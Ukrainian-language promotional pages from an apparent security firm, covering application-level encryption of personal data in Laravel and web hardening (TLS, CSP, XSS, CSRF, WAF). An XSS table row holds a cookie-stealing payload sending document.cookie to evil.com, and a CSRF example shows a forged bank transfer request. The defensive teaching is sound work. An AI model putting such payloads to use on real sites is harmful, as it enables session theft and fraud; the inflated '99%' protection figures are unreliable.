При витоку бази даних зловмисник отримує SQL-дамп з тисячами рядків — ІПН, паспорти, медичні записи. Якщо дані зберігаються у відкритому вигляді, це катастрофа: штрафи за 152-ФЗ до 500 000 рублів, втрата репутації, відтік клієнтів. Шифрування на рівні застосунку — єдиний спосіб знецінити дані для атакуючого. Навіть отримавши базу, без ключів шифротекст марний. Ми впроваджуємо шифрування в проєктах з високими вимогами до безпеки: fintech, medtech, gov. Ми реалізували понад 30 проєктів із захисту ПДн. Наші інженери мають сертифікати CISSP, і ми гарантуємо відповідність 152-ФЗ та GDPR. Проведемо аудит вашої системи за 2-3 дні — зв'яжіться з нами.
Розкажу на прикладі реального впровадження в медичній CRM з 50 000 пацієнтів з нашої практики.
Чому шифрувати дані на рівні застосунку?
Шифрування на рівні бази даних (TDE) не захищає від адміністраторів БД або SQL-ін'єкцій. Застосунок сам керує ключами: дані шифруються до запису і розшифровуються тільки авторизованими запитами. Це дає гранулярний контроль доступу та ізолює дані від інфраструктури.
Які дані шифрувати, а які хешувати?
Дані для шифрування
- ІПН, СНІЛС, серія/номер паспорта
- Медичні дані, діагнози
- Фінансові дані, номери карток (PCI DSS вимагає окремого підходу)
- Біометрія
Дані для хешування
- Паролі → bcrypt, Argon2id
- Секретні токени, API-ключі
Для пошуку за зашифрованими полями використовуємо детерміноване шифрування або токенізацію — про це далі.
Вибір алгоритму: AES-256-GCM vs ChaCha20-Poly1305
| Алгоритм |
Тип |
Аутентифікація |
Швидкість |
Апаратне прискорення |
| AES-256-GCM |
Симетричний |
Так (GCM) |
Висока |
Так (AES-NI) |
| ChaCha20-Poly1305 |
Симетричний |
Так (Poly1305) |
Висока |
Ні (але швидкий на ПО) |
| RSA-OAEP |
Асиметричний |
Так |
Низька |
Так (частково) |
AES-256-GCM — стандарт для шифрування даних у спокої. За наявності AES-NI він у 3 рази швидший за ChaCha20-Poly1305. Якщо сервер без підтримки AES-NI, ChaCha20-Poly1305 — надійна альтернатива. RSA-OAEP використовують для шифрування ключів або коли не можна розшифрувати на сервері. Детальніше про AES-GCM.
На основі рекомендацій OWASP та NIST.
Практична реалізація шифрування в Laravel
Приклад Cast для шифрування полів
// app/Casts/EncryptedCast.php
class EncryptedCast implements CastsAttributes
{
public function get($model, string $key, $value, array $attributes): ?string
{
if (is_null($value)) return null;
try {
return Crypt::decryptString($value);
} catch (DecryptException) {
return null;
}
}
public function set($model, string $key, $value, array $attributes): ?string
{
if (is_null($value)) return null;
return Crypt::encryptString($value);
}
}
// В моделі
class Patient extends Model
{
protected $casts = [
'passport_number' => EncryptedCast::class,
'medical_notes' => EncryptedCast::class,
'snils' => EncryptedCast::class,
];
}
// Використання — прозоро для коду
$patient->passport_number = '4510 123456'; // автоматично шифрується
$decrypted = $patient->passport_number; // автоматично розшифровується
Які переваги дає envelope encryption?
Зберігати ключі шифрування в базі даних разом із зашифрованими даними — безглуздо. Найкраща практика — envelope encryption: дані шифруються Data Encryption Key (DEK), DEK шифрується Key Encryption Key (KEK), KEK зберігається в KMS/Vault. Це дозволяє перешифрувати дані без доступу до KEK та спрощує ротацію.
HashiCorp Vault:
$vault = new Vault([
'address' => 'https://vault.internal:8200',
'token' => env('VAULT_TOKEN'),
]);
$keyData = $vault->read('secret/data/app-encryption-key');
$encryptionKey = $keyData['data']['key'];
AWS KMS:
use Aws\Kms\KmsClient;
$kms = new KmsClient(['region' => 'eu-west-1']);
$result = $kms->encrypt([
'KeyId' => 'arn:aws:kms:eu-west-1:123456:key/abc-123',
'Plaintext' => $sensitiveData,
]);
$encryptedData = base64_encode($result['CiphertextBlob']);
Як шукати за зашифрованими даними?
Звичайний AES-GCM генерує різний шифротекст для одного й того ж значення. Пошук за зашифрованим полем неможливий. Рішення:
Варіант 1: Хеш для пошуку + шифрування для зберігання:
class PersonalDataRepository
{
public function findByPassport(string $passport): ?Patient
{
$hash = hash_hmac('sha256', $passport, config('app.search_key'));
return Patient::where('passport_hash', $hash)->first();
}
public function store(string $passport): void
{
Patient::create([
'passport_data' => Crypt::encryptString($passport),
'passport_hash' => hash_hmac('sha256', $passport, config('app.search_key')),
]);
}
}
Варіант 2: PostgreSQL pgcrypto:
INSERT INTO patients (passport)
VALUES (pgp_sym_encrypt('4510 123456', current_setting('app.encryption_key')));
SELECT pgp_sym_decrypt(passport::bytea, current_setting('app.encryption_key'))
FROM patients WHERE id = 1;
Порівняння методів захисту даних
| Метод |
Оберненість |
Пошук |
Швидкість |
Безпека ключів |
| AES-256-GCM |
Так |
Ні |
Висока |
Залежить від зберігання |
| Детерміноване шифрування |
Так |
Так |
Середня |
Висока при HMAC |
| Токенізація |
Ні (заміна) |
Так |
Висока |
Дуже висока |
| Хешування (bcrypt) |
Ні |
Ні |
Низька |
Висока |
Кейс: шифрування в медичній CRM (з нашої практики)
Клієнт — мережа клінік з 50 000 пацієнтів. Потрібно було зашифрувати паспортні дані, СНІЛС, діагнози. Обрали AES-256-GCM + envelope encryption з HashiCorp Vault. Реалізували Laravel Casts для прозорого шифрування. Для пошуку за номером полісу додали HMAC-хеш. Підсумок: час відгуку не змінився, аудит безпеки пройдено, отримано сертифікат відповідності 152-ФЗ. Рішення масштабується на будь-яку кількість записів.
Що входить в роботу
- Розробка архітектури шифрування з урахуванням бізнес-логіки
- Вибір алгоритмів та схеми управління ключами (envelope encryption)
- Інтеграція з HashiCorp Vault або AWS KMS
- Реалізація прозорого шифрування на рівні ORM (Laravel, Doctrine тощо)
- Налаштування детермінованого шифрування для пошуку
- Ротація ключів з zero-downtime
- Аудит доступу та логування операцій
- Документація для команди та навчання розробників
- Передача доступів та тестові сценарії
Процес впровадження та терміни
- Проектування схеми шифрування та управління ключами (1-2 дні).
- Реалізація шифрування на рівні моделей (2-3 дні).
- Інтеграція з зовнішніми сховищами ключів (5-7 днів).
- Детерміноване шифрування для пошуку (+3 дні).
- Реалізація ротації ключів з zero-downtime (+2 дні).
- Аудит доступу та логування операцій (+1-2 дні).
- Документація та навчання команди (+1 день).
Підсумковий термін — від 2 тижнів до 2 місяців залежно від обсягу даних та складності бізнес-логіки. Отримайте консультацію із захисту ПДн вже сьогодні — зв'яжіться з нами, ми оцінимо ваш проєкт та запропонуємо рішення під ключ.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.